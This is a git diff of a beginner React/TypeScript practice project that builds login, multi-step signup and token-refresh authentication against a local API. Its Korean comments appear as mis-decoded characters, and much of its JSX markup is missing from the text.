window.localStorage.getItem(key); + // ์ €์žฅ๋œ ๊ฐ’์ด ์žˆ์œผ๋ฉด ํŒŒ์‹ฑํ•ด์„œ ๋ฐ˜ํ™˜, ์—†์œผ๋ฉด ์ดˆ๊ธฐ๊ฐ’ ๋ฐ˜ํ™˜ + return item ? JSON.parse(item) : initialValue; + } catch (error) { + console.error(error); + return initialValue; + } + }); + + // ๊ฐ’์„ ์ €์žฅํ•˜๋Š” ํ•จ์ˆ˜ + const setValue = (value: T) => { + try { + setStoredValue(value); + window.localStorage.setItem(key, JSON.stringify(value)); + } catch (error) { + console.error(error); + } + }; + + return [storedValue, setValue] as const; +} + +export default useLocalStorage; \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/index.css b/mission/chapter05/mission_1/src/index.css new file mode 100644 index 0000000..d4b5078 --- /dev/null +++ b/mission/chapter05/mission_1/src/index.css @@ -0,0 +1 @@ +@import 'tailwindcss'; diff --git a/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx new file mode 100644 index 0000000..d44989b --- /dev/null +++ b/mission/chapter05/mission_1/src/layouts/HomeLayout.tsx @@ -0,0 +1,16 @@ +import { Outlet } from 'react-router-dom'; +import Navbar from '../components/Navbar'; + +const HomeLayout = () => { + return ( +
+ +
+ +
+
Footer
+
+ ); +}; + +export default HomeLayout; diff --git a/mission/chapter05/mission_1/src/main.tsx b/mission/chapter05/mission_1/src/main.tsx new file mode 100644 index 0000000..bef5202 --- /dev/null +++ b/mission/chapter05/mission_1/src/main.tsx @@ -0,0 +1,10 @@ +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import './index.css' +import App from './App.tsx' + +createRoot(document.getElementById('root')!).render( + + + , +) diff --git a/mission/chapter05/mission_1/src/pages/HomePage.tsx b/mission/chapter05/mission_1/src/pages/HomePage.tsx new file mode 100644 index 0000000..07f9106 --- /dev/null +++ b/mission/chapter05/mission_1/src/pages/HomePage.tsx @@ -0,0 +1,24 @@ +import useLocalStorage from '../hooks/useLocalStorage'; + +const HomePage = () => { + const [user] = useLocalStorage<{ email: string; nickname: string } | null>( + 'user', + null, + ); + + return ( +
+
+
๐ŸŒธ
+

ํ™˜์˜ํ•ด์š”!

+

+ {user + ? `${user.nickname}๋‹˜, ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค ๐Ÿ˜Š` + : '๋กœ๊ทธ์ธํ•˜๊ณ  ์‹œ์ž‘ํ•ด๋ณด์„ธ์š”!'} +

+
+
+ ); +}; + +export default HomePage; diff --git a/mission/chapter05/mission_1/src/pages/LoginPage.tsx b/mission/chapter05/mission_1/src/pages/LoginPage.tsx new file mode 100644 index 0000000..97ba04d --- /dev/null +++ b/mission/chapter05/mission_1/src/pages/LoginPage.tsx @@ -0,0 +1,80 @@ +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signinSchema, type SigninFormValues } from '../utils/validate'; +import { useAuth } from '../context/AuthContext'; + +const LoginPage = () => { + const navigate = useNavigate(); +const {login} = useAuth(); + + const { + register, //input์— ์—ฐ๊ฒฐํ•˜๋Š” ํ•จ์ˆ˜ + handleSubmit, //์ œ์ถœ ์ฒ˜๋ฆฌ ํ•จ์ˆ˜ + formState: { errors, isValid }, //์—๋Ÿฌ์ƒํƒœ, ์œ ํšจ์„ฑ ์—ฌ๋ถ€ + } = useForm({ + resolver: zodResolver(signinSchema), //zod ์Šค๋ฏธ์นด ์—ฐ๊ฒฐ + mode: 'onChange', //์ž…๋ ฅํ•  ๋•Œ๋งˆ๋‹ค ์‹ค์‹œ๊ฐ„ ๊ฒ€์‚ฌ + }); + + const onSubmit = (data: SigninFormValues) => { + login({ + email: data.email, + nickname: data.email.split('@')[0], + }); + navigate('/'); + }; + + return ( +
+ {/* ํ—ค๋” */} +
+ +

๋กœ๊ทธ์ธ

+
+ + {/* ํผ */} +
+
+ + {errors.email && ( +
{errors.email.message}
+ )} + + {errors.password && ( +
+ {errors.password.message} +
+ )} + +
+
+
+ ); +}; + +export default LoginPage; diff --git a/mission/chapter05/mission_1/src/pages/MyPage.tsx b/mission/chapter05/mission_1/src/pages/MyPage.tsx new file mode 100644 index 0000000..121422f --- /dev/null +++ b/mission/chapter05/mission_1/src/pages/MyPage.tsx @@ -0,0 +1,39 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const MyPage = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( +
+ {/* ํ—ค๋” */} +
+ +

๋งˆ์ดํŽ˜์ด์ง€

+
+ + {/* ๋ณธ๋ฌธ */} +
+
๐Ÿ‘ค
+
+

{user?.nickname}

+

{user?.email}

+
+ +
+
+ ); +}; + +export default MyPage; \ No newline at end of file diff --git a/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx new file mode 100644 index 0000000..6f316cb --- /dev/null +++ b/mission/chapter05/mission_1/src/pages/NotFoundPage.tsx @@ -0,0 +1,5 @@ +const NotFound = () => { + return
์ฐพ์„ ์ˆ˜ ์—†๋Š” ํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค
; +}; + +export default NotFound; diff --git a/mission/chapter05/mission_1/src/pages/SignupPage.tsx b/mission/chapter05/mission_1/src/pages/SignupPage.tsx new file mode 100644 index 0000000..e4dc508 --- /dev/null +++ b/mission/chapter05/mission_1/src/pages/SignupPage.tsx @@ -0,0 +1,178 @@ +import { useState } from 'react'; +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signupSchema, type SignupFormValues } from '../utils/validate'; +import { useAuth } from '../context/AuthContext'; + +const SignupPage = () => { + const navigate = useNavigate(); + const { login } = useAuth(); + const [step, setStep] = useState(1); // ํ˜„์žฌ ๋‹จ๊ณ„ (1, 2, 3) + const [showPassword, setShowPassword] = useState(false); + const [showPasswordCheck, setShowPasswordCheck] = useState(false); + + const { + register, + handleSubmit, + watch, // ํŠน์ • ํ•„๋“œ ๊ฐ’์„ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๊ฐ์‹œ + formState: { errors }, + } = useForm({ + resolver: zodResolver(signupSchema), + mode: 'onChange', + }); + + const onSubmit = (data: SignupFormValues) => { + login({ + email: data.email, + nickname: data.nickname, + }); + navigate('/'); // ํšŒ์›๊ฐ€์ž… ์™„๋ฃŒ ํ›„ ํ™ˆ์œผ๋กœ + }; + + // ๊ฐ ๋‹จ๊ณ„๋ณ„ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ + const email = watch('email'); + const password = watch('password'); + const passwordCheck = watch('passwordCheck'); + const nickname = watch('nickname'); + + const isStep1Valid = !errors.email && email?.length > 0; + const isStep2Valid = + !errors.password && + !errors.passwordCheck && + password?.length > 0 && + passwordCheck?.length > 0 && + password === passwordCheck; + const isStep3Valid = !errors.nickname && nickname?.length > 0; + + return ( +
+ {/* ํ—ค๋” */} +
+ +

ํšŒ์›๊ฐ€์ž…

+
+ +
+
+ {/* 1๋‹จ๊ณ„: ์ด๋ฉ”์ผ */} + {step === 1 && ( + <> + + {errors.email && ( +
+ {errors.email.message} +
+ )} + + + )} + + {/* 2๋‹จ๊ณ„: ๋น„๋ฐ€๋ฒˆํ˜ธ */} + {step === 2 && ( + <> +
{email}
+
+ + +
+ {errors.password && ( +
+ {errors.password.message} +
+ )} + {/*๋น„๋ฐ€๋ฒˆํ˜ธ ๋‹ค์‹œ ํ•œ๋ฒˆ ์ฒดํฌ */} +
+ + +
+ {passwordCheck?.length > 0 && password !== passwordCheck && ( +
+ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค +
+ )} + + + )} + + {/* 3๋‹จ๊ณ„: ๋‹‰๋„ค์ž„ */} + {step === 3 && ( + <> + + {errors.nickname && ( +
+ {errors.nickname.message} +
+ )} + + + )} +
+
+
+ ); +}; + +export default SignupPage; diff --git a/mission/chapter05/mission_1/src/utils/validate.ts b/mission/chapter05/mission_1/src/utils/validate.ts new file mode 100644 index 0000000..8f5107e --- /dev/null +++ b/mission/chapter05/mission_1/src/utils/validate.ts @@ -0,0 +1,30 @@ +import { z } from 'zod'; + +//๋กœ๊ทธ์ธ ์Šคํ‚ค๋งˆ (๊ทœ์น™ ์ •์˜) +export const signinSchema = z.object({ + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), +}); + +//ํšŒ์›๊ฐ€์ž… ์Šคํ‚ค๋งˆ +export const signupSchema = z.object({ + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), + passwordCheck: z.string(), + nickname: z.string().min(1, '๋‹‰๋„ค์ž„์„ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”'), +}) +.refine((data) => data.password === data.passwordCheck, { + //๋‘ ๊ฐ’์„ ๋น„๊ตํ•˜๋Š” ์ถ”๊ฐ€ ๊ฒ€์‚ฌ + message: "๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค", + path: ['passwordCheck'], //passwordCheck ํ•„๋“œ์— ์—๋Ÿฌ ํ‘œ์‹œ +}) + +//์Šคํ‚ค๋งˆ๋กœ๋ถ€ํ„ฐ ํƒ€์ž… ์ž๋™ ์ƒ์„ฑ +export type SigninFormValues = z.infer; +export type SignupFormValues = z.infer; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/App.css b/mission/chapter05/mission_2/src/App.css new file mode 100644 index 0000000..e69de29 diff --git a/mission/chapter05/mission_2/src/App.tsx b/mission/chapter05/mission_2/src/App.tsx new file mode 100644 index 0000000..9976985 --- /dev/null +++ b/mission/chapter05/mission_2/src/App.tsx @@ -0,0 +1,48 @@ +import './App.css'; +import { createBrowserRouter, RouterProvider } from 'react-router-dom'; +import HomeLayout from './layouts/HomeLayout'; +import NotFound from './pages/NotFoundPage'; +import LoginPage from './pages/LoginPage'; +import HomePage from './pages/HomePage'; +import SignupPage from './pages/SignupPage'; +import MyPage from './pages/MyPage'; +import ProtectedRoute from './components/ProtectedRoute'; +import { AuthProvider } from './context/AuthContext'; + +const router = createBrowserRouter([ + { + path: '/', + element: , + errorElement: , + children: [ + { index: true, element: }, + { + path: 'mypage', + element: ( + + + + ), + }, + ], + }, + { + path: '/login', + element: , + errorElement: , + }, + { + path: '/signup', + element: , + errorElement: , + }, +]); +function App() { + return ( + + + + ); +} + +export default App; diff --git a/mission/chapter05/mission_2/src/api/axios.ts b/mission/chapter05/mission_2/src/api/axios.ts new file mode 100644 index 0000000..0f27b09 --- /dev/null +++ b/mission/chapter05/mission_2/src/api/axios.ts @@ -0,0 +1,64 @@ +import axios from 'axios'; + +const axiosInstance = axios.create({ + baseURL: 'http://localhost:8000/v1', +}); + +// ์š”์ฒญ ์ธํ„ฐ์…‰ํ„ฐ +axiosInstance.interceptors.request.use((config) => { + const accessToken = localStorage.getItem('accessToken'); + + if (accessToken) { + config.headers.Authorization = `Bearer ${accessToken}`; + } + return config; +}); + +// ์‘๋‹ต ์ธํ„ฐ์…‰ํ„ฐ +axiosInstance.interceptors.response.use( + // ์„ฑ๊ณต ์‘๋‹ต์€ ๊ทธ๋ƒฅ ํ†ต๊ณผ + (response) => response, + + // ์‹คํŒจ ์‘๋‹ต(์—๋Ÿฌ)์€ ์—ฌ๊ธฐ์„œ ์ฒ˜๋ฆฌ + async (error) => { + const originalRequest = error.config; + + // 401 = ํ† ํฐ ๋งŒ๋ฃŒ + if (error.response?.status === 401 && !originalRequest._retry) { + // ์žฌ์‹œ๋„ ํ‘œ์‹œ โ†’ ํ•œ ๋ฒˆ๋งŒ ์žฌ์‹œ๋„ํ•˜๋„๋ก ๊ธฐ๋ก + originalRequest._retry = true; + + try { + const refreshToken = localStorage.getItem('refreshToken'); + + const response = await axios.post( + 'http://localhost:8000/v1/auth/refresh', + { + refresh: refreshToken, + }, + ); + + // ์ƒˆ๋กœ ๋ฐ›์€ accessToken ์ €์žฅ + const newAccessToken = response.data.data.accessToken; + localStorage.setItem('accessToken', newAccessToken); + + // ์‹คํŒจํ–ˆ๋˜ ์š”์ฒญ ํ—ค๋”๋„ ์ƒˆ ํ† ํฐ์œผ๋กœ ๊ต์ฒด + originalRequest.headers.Authorization = `Bearer ${newAccessToken}`; + + // ์‹คํŒจํ–ˆ๋˜ ์š”์ฒญ ์žฌ์‹œ๋„ + return axiosInstance(originalRequest); + } catch (refreshError) { + // refreshToken๋„ ๋งŒ๋ฃŒ โ†’ ๊ฐ•์ œ ๋กœ๊ทธ์•„์›ƒ + localStorage.removeItem('accessToken'); + localStorage.removeItem('refreshToken'); + localStorage.removeItem('user'); + window.location.href = '/login'; + return Promise.reject(refreshError); + } + } + + return Promise.reject(error); + }, +); + +export default axiosInstance; diff --git a/mission/chapter05/mission_2/src/assets/hero.png b/mission/chapter05/mission_2/src/assets/hero.png new file mode 100644 index 0000000..cc51a3d Binary files /dev/null and b/mission/chapter05/mission_2/src/assets/hero.png differ diff --git a/mission/chapter05/mission_2/src/assets/react.svg b/mission/chapter05/mission_2/src/assets/react.svg new file mode 100644 index 0000000..6c87de9 --- /dev/null +++ b/mission/chapter05/mission_2/src/assets/react.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/assets/vite.svg b/mission/chapter05/mission_2/src/assets/vite.svg new file mode 100644 index 0000000..5101b67 --- /dev/null +++ b/mission/chapter05/mission_2/src/assets/vite.svg @@ -0,0 +1 @@ +Vite diff --git a/mission/chapter05/mission_2/src/components/Navbar.tsx b/mission/chapter05/mission_2/src/components/Navbar.tsx new file mode 100644 index 0000000..c22c0bb --- /dev/null +++ b/mission/chapter05/mission_2/src/components/Navbar.tsx @@ -0,0 +1,60 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; +const Navbar = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( + + ); +}; + +export default Navbar; diff --git a/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx b/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx new file mode 100644 index 0000000..0fffe2d --- /dev/null +++ b/mission/chapter05/mission_2/src/components/ProtectedRoute.tsx @@ -0,0 +1,11 @@ +import { Navigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const ProtectedRoute = ({ children }: { children: React.ReactNode }) => { + const { user } = useAuth(); + + if (!user) return ; + return <>{children}; +}; + +export default ProtectedRoute; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/context/AuthContext.tsx b/mission/chapter05/mission_2/src/context/AuthContext.tsx new file mode 100644 index 0000000..19c6f1c --- /dev/null +++ b/mission/chapter05/mission_2/src/context/AuthContext.tsx @@ -0,0 +1,60 @@ +import { createContext, useContext, useState } from 'react'; +import axiosInstance from '../api/axios'; +interface User { + email: string; + nickname: string; +} + +interface AuthContextType { + user: User | null; + login: (user: User, accessToken: string, refreshToken: string) => void; + logout: () => void; +} + +const AuthContext = createContext(null); + +export const AuthProvider = ({ children }: { children: React.ReactNode }) => { + const [user, setUser] = useState(() => { + const stored = localStorage.getItem('user'); + return stored ? JSON.parse(stored) : null; + }); + + // login ํ•จ์ˆ˜์— ํ† ํฐ๋„ ๊ฐ™์ด ์ €์žฅ + const login = (userData: User, accessToken: string, refreshToken: string) => { + // ์œ ์ € ์ •๋ณด ์ €์žฅ + setUser(userData); + localStorage.setItem('user', JSON.stringify(userData)); + + // ํ† ํฐ ์ €์žฅ + // Access Token โ†’ ์งง์€ ์œ ํšจ๊ธฐ๊ฐ„, API ์š”์ฒญํ•  ๋•Œ ์‚ฌ์šฉ + localStorage.setItem('accessToken', accessToken); + // Refresh Token โ†’ ๊ธด ์œ ํšจ๊ธฐ๊ฐ„, Access Token ๋งŒ๋ฃŒ์‹œ ์žฌ๋ฐœ๊ธ‰์šฉ + localStorage.setItem('refreshToken', refreshToken); + }; + + const logout = async () => { + try { + // ์„œ๋ฒ„์— ๋กœ๊ทธ์•„์›ƒ ์š”์ฒญ + await axiosInstance.post('/auth/signout'); + } catch (error) { + console.error('๋กœ๊ทธ์•„์›ƒ ์‹คํŒจ:', error); + } finally { + setUser(null); + localStorage.removeItem('user'); + localStorage.removeItem('accessToken'); + localStorage.removeItem('refreshToken'); + } + }; + + return ( + + {children} + + ); +}; + +export const useAuth = () => { + const context = useContext(AuthContext); + if (!context) throw new Error('AuthProvider ๋ฐ–์—์„œ ์‚ฌ์šฉ ๋ถˆ๊ฐ€!'); + return context; +}; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/hooks/useForm.ts b/mission/chapter05/mission_2/src/hooks/useForm.ts new file mode 100644 index 0000000..dcfc423 --- /dev/null +++ b/mission/chapter05/mission_2/src/hooks/useForm.ts @@ -0,0 +1,54 @@ +import { useEffect, useState, type ChangeEvent } from 'react'; + +interface UseFormProps { + initialValue: T; + //๊ฐ’์ด ์˜ฌ๋ฐ”๋ฅธ์ง€ ๊ฒ€์ฆํ•˜๋Š” ํ•จ์ˆ˜ + validate: (values: T) => Record; +} + +function useForm({ initialValue, validate }: UseFormProps) { + const [values, setValues] = useState(initialValue); + + //"email": true -> touch ๋จ + //"password": false -> touch ์•ˆ ๋จ + const [touched, setTouched] = useState>(); + + //"email": ์ด๋ฉ”์ผ์€ ๋ฐ˜๋“œ์‹œ @๋ฅผ ํฌํ•จํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. + const [errors, setErrors] = useState>(); + + //์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅ๊ฐ’ ๋ฐ”๊ฟ€ ๋•Œ ์‹คํ–‰๋˜๋Š” ํ•จ์ˆ˜ + const handleChange = (name: keyof T, text: string) => { + setValues({ + ...values, //๊ธฐ์กด ์ž…๋ ฅ๊ฐ’ ์œ ์ง€ + [name]: text, + }); + }; + + const handleBlur = (name: keyof T) => { + setTouched({ + ...touched, + [name]: true, + }); + }; + + //์ด๋ฉ”์ผ๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ธํ’‹, ์†์„ฑ๋“ค์„ ๊ฐ€์ ธ์˜ค๋Š” ๊ฒƒ + const getInputProps = (name: keyof T) => { + const value = values[name]; + const onChange = (e: ChangeEvent) => + handleChange(name, e.target.value); + const onBlur = () => handleBlur(name); + + return { value, onChange, onBlur }; + }; + + //values๊ฐ€ ๋ณ€๊ฒฝ๋  ๋•Œ ์—๋Ÿฌ๊ฒ€์ฆ ๋กœ์ง + //๋ณ€๊ฒฝ๋  ๋•Œ๋งˆ๋‹ค ๋กœ์ง์ด ๋ณ€๊ฒฝ๋˜์–ด์•ผ ํ•˜๋‹ˆ useEffect ์‚ฌ์šฉ + useEffect(() => { + const newErrors = validate(values); + setErrors(newErrors); //์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€ ์—…๋ฐ์ดํŠธ + }, [validate, values]); + + return {values, errors, touched, getInputProps}; +} + +export default useForm; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts b/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts new file mode 100644 index 0000000..c6a3ad1 --- /dev/null +++ b/mission/chapter05/mission_2/src/hooks/useLocalStorage.ts @@ -0,0 +1,29 @@ +import { useState } from 'react'; + +function useLocalStorage(key: string, initialValue: T) { + // ๋กœ์ปฌ์Šคํ† ๋ฆฌ์ง€์—์„œ ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋Š” ํ•จ์ˆ˜ + const [storedValue, setStoredValue] = useState(() => { + try { + const item = window.localStorage.getItem(key); + // ์ €์žฅ๋œ ๊ฐ’์ด ์žˆ์œผ๋ฉด ํŒŒ์‹ฑํ•ด์„œ ๋ฐ˜ํ™˜, ์—†์œผ๋ฉด ์ดˆ๊ธฐ๊ฐ’ ๋ฐ˜ํ™˜ + return item ? JSON.parse(item) : initialValue; + } catch (error) { + console.error(error); + return initialValue; + } + }); + + // ๊ฐ’์„ ์ €์žฅํ•˜๋Š” ํ•จ์ˆ˜ + const setValue = (value: T) => { + try { + setStoredValue(value); + window.localStorage.setItem(key, JSON.stringify(value)); + } catch (error) { + console.error(error); + } + }; + + return [storedValue, setValue] as const; +} + +export default useLocalStorage; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/index.css b/mission/chapter05/mission_2/src/index.css new file mode 100644 index 0000000..d4b5078 --- /dev/null +++ b/mission/chapter05/mission_2/src/index.css @@ -0,0 +1 @@ +@import 'tailwindcss'; diff --git a/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx b/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx new file mode 100644 index 0000000..d44989b --- /dev/null +++ b/mission/chapter05/mission_2/src/layouts/HomeLayout.tsx @@ -0,0 +1,16 @@ +import { Outlet } from 'react-router-dom'; +import Navbar from '../components/Navbar'; + +const HomeLayout = () => { + return ( +
+ +
+ +
+
Footer
+
+ ); +}; + +export default HomeLayout; diff --git a/mission/chapter05/mission_2/src/main.tsx b/mission/chapter05/mission_2/src/main.tsx new file mode 100644 index 0000000..bef5202 --- /dev/null +++ b/mission/chapter05/mission_2/src/main.tsx @@ -0,0 +1,10 @@ +import { StrictMode } from 'react' +import { createRoot } from 'react-dom/client' +import './index.css' +import App from './App.tsx' + +createRoot(document.getElementById('root')!).render( + + + , +) diff --git a/mission/chapter05/mission_2/src/pages/HomePage.tsx b/mission/chapter05/mission_2/src/pages/HomePage.tsx new file mode 100644 index 0000000..07f9106 --- /dev/null +++ b/mission/chapter05/mission_2/src/pages/HomePage.tsx @@ -0,0 +1,24 @@ +import useLocalStorage from '../hooks/useLocalStorage'; + +const HomePage = () => { + const [user] = useLocalStorage<{ email: string; nickname: string } | null>( + 'user', + null, + ); + + return ( +
+
+
๐ŸŒธ
+

ํ™˜์˜ํ•ด์š”!

+

+ {user + ? `${user.nickname}๋‹˜, ๋ฐ˜๊ฐ‘์Šต๋‹ˆ๋‹ค ๐Ÿ˜Š` + : '๋กœ๊ทธ์ธํ•˜๊ณ  ์‹œ์ž‘ํ•ด๋ณด์„ธ์š”!'} +

+
+
+ ); +}; + +export default HomePage; diff --git a/mission/chapter05/mission_2/src/pages/LoginPage.tsx b/mission/chapter05/mission_2/src/pages/LoginPage.tsx new file mode 100644 index 0000000..1485ded --- /dev/null +++ b/mission/chapter05/mission_2/src/pages/LoginPage.tsx @@ -0,0 +1,89 @@ +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signinSchema, type SigninFormValues } from '../utils/validate'; +import { useAuth } from '../context/AuthContext'; +import axiosInstance from '../api/axios'; // + +const LoginPage = () => { + const navigate = useNavigate(); + const { login } = useAuth(); + + const { + register, + handleSubmit, + formState: { errors, isValid }, + } = useForm({ + resolver: zodResolver(signinSchema), + mode: 'onChange', + }); + + const onSubmit = async (data: SigninFormValues) => { + try { + const response = await axiosInstance.post('/auth/signin', { + email: data.email, + password: data.password, + }); + + const { name, accessToken, refreshToken } = response.data.data; + + login({ email: data.email, nickname: name }, accessToken, refreshToken); + + navigate('/'); + } catch (error) { + console.error('๋กœ๊ทธ์ธ ์‹คํŒจ:', error); + alert('์ด๋ฉ”์ผ ๋˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด์ง€ ์•Š์Šต๋‹ˆ๋‹ค.'); + } + }; + + return ( +
+
+ +

๋กœ๊ทธ์ธ

+
+ +
+
+ + {errors.email && ( +
{errors.email.message}
+ )} + + {errors.password && ( +
+ {errors.password.message} +
+ )} + +
+
+
+ ); +}; + +export default LoginPage; diff --git a/mission/chapter05/mission_2/src/pages/MyPage.tsx b/mission/chapter05/mission_2/src/pages/MyPage.tsx new file mode 100644 index 0000000..121422f --- /dev/null +++ b/mission/chapter05/mission_2/src/pages/MyPage.tsx @@ -0,0 +1,39 @@ +import { useNavigate } from 'react-router-dom'; +import { useAuth } from '../context/AuthContext'; + +const MyPage = () => { + const navigate = useNavigate(); + const { user, logout } = useAuth(); + + return ( +
+ {/* ํ—ค๋” */} +
+ +

๋งˆ์ดํŽ˜์ด์ง€

+
+ + {/* ๋ณธ๋ฌธ */} +
+
๐Ÿ‘ค
+
+

{user?.nickname}

+

{user?.email}

+
+ +
+
+ ); +}; + +export default MyPage; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx b/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx new file mode 100644 index 0000000..6f316cb --- /dev/null +++ b/mission/chapter05/mission_2/src/pages/NotFoundPage.tsx @@ -0,0 +1,5 @@ +const NotFound = () => { + return
์ฐพ์„ ์ˆ˜ ์—†๋Š” ํŽ˜์ด์ง€์ž…๋‹ˆ๋‹ค
; +}; + +export default NotFound; diff --git a/mission/chapter05/mission_2/src/pages/SignupPage.tsx b/mission/chapter05/mission_2/src/pages/SignupPage.tsx new file mode 100644 index 0000000..d2f1114 --- /dev/null +++ b/mission/chapter05/mission_2/src/pages/SignupPage.tsx @@ -0,0 +1,173 @@ +import { useState } from 'react'; +import { useNavigate } from 'react-router-dom'; +import { useForm } from 'react-hook-form'; +import { zodResolver } from '@hookform/resolvers/zod'; +import { signupSchema, type SignupFormValues } from '../utils/validate'; +import axiosInstance from '../api/axios'; + +const SignupPage = () => { + const navigate = useNavigate(); + const [step, setStep] = useState(1); + const [showPassword, setShowPassword] = useState(false); + const [showPasswordCheck, setShowPasswordCheck] = useState(false); + + const { + register, + handleSubmit, + watch, + formState: { errors }, + } = useForm({ + resolver: zodResolver(signupSchema), + mode: 'onChange', + }); + + const onSubmit = async (data: SignupFormValues) => { + try { + // ์„œ๋ฒ„์— ํšŒ์›๊ฐ€์ž… ์š”์ฒญ + await axiosInstance.post('/auth/signup', { + name: data.name, + email: data.email, + password: data.password, + }); + + // ํšŒ์›๊ฐ€์ž… ์„ฑ๊ณต โ†’ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์ด๋™ + alert('ํšŒ์›๊ฐ€์ž… ์„ฑ๊ณต! ๋กœ๊ทธ์ธ ํ•ด์ฃผ์„ธ์š” ๐Ÿ˜Š'); + navigate('/login'); + } catch (error) { + console.error('ํšŒ์›๊ฐ€์ž… ์‹คํŒจ:', error); + alert('ํšŒ์›๊ฐ€์ž…์— ์‹คํŒจํ–ˆ์Šต๋‹ˆ๋‹ค.'); + } + }; + + const email = watch('email'); + const password = watch('password'); + const passwordCheck = watch('passwordCheck'); + const name = watch('name'); + + const isStep1Valid = !errors.email && email?.length > 0; + const isStep2Valid = + !errors.password && + !errors.passwordCheck && + password?.length > 0 && + passwordCheck?.length > 0 && + password === passwordCheck; + const isStep3Valid = !errors.name && name?.length > 0; + + return ( +
+
+ +

ํšŒ์›๊ฐ€์ž…

+
+ +
+
+ {step === 1 && ( + <> + + {errors.email && ( +
{errors.email.message}
+ )} + + + )} + + {step === 2 && ( + <> +
{email}
+
+ + +
+ {errors.password && ( +
{errors.password.message}
+ )} +
+ + +
+ {passwordCheck?.length > 0 && password !== passwordCheck && ( +
๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค
+ )} + + + )} + + {step === 3 && ( + <> + + {errors.name && ( +
{errors.name.message}
+ )} + + + )} +
+
+
+ ); +}; + +export default SignupPage; \ No newline at end of file diff --git a/mission/chapter05/mission_2/src/utils/validate.ts b/mission/chapter05/mission_2/src/utils/validate.ts new file mode 100644 index 0000000..6fddb70 --- /dev/null +++ b/mission/chapter05/mission_2/src/utils/validate.ts @@ -0,0 +1,27 @@ +import { z } from 'zod'; + +export const signinSchema = z.object({ + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 8์ž ์ด์ƒ์ด์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.') + .max(20, '๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” 20์ž ์ดํ•˜์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค'), +}); + +export const signupSchema = z + .object({ + name: z.string().min(1, '์ด๋ฆ„์„ ์ž…๋ ฅํ•ด์ฃผ์„ธ์š”'), + email: z.string().email('์˜ฌ๋ฐ”๋ฅธ ์ด๋ฉ”์ผ ํ˜•์‹์ด ์•„๋‹™๋‹ˆ๋‹ค'), + password: z + .string() + .min(8, 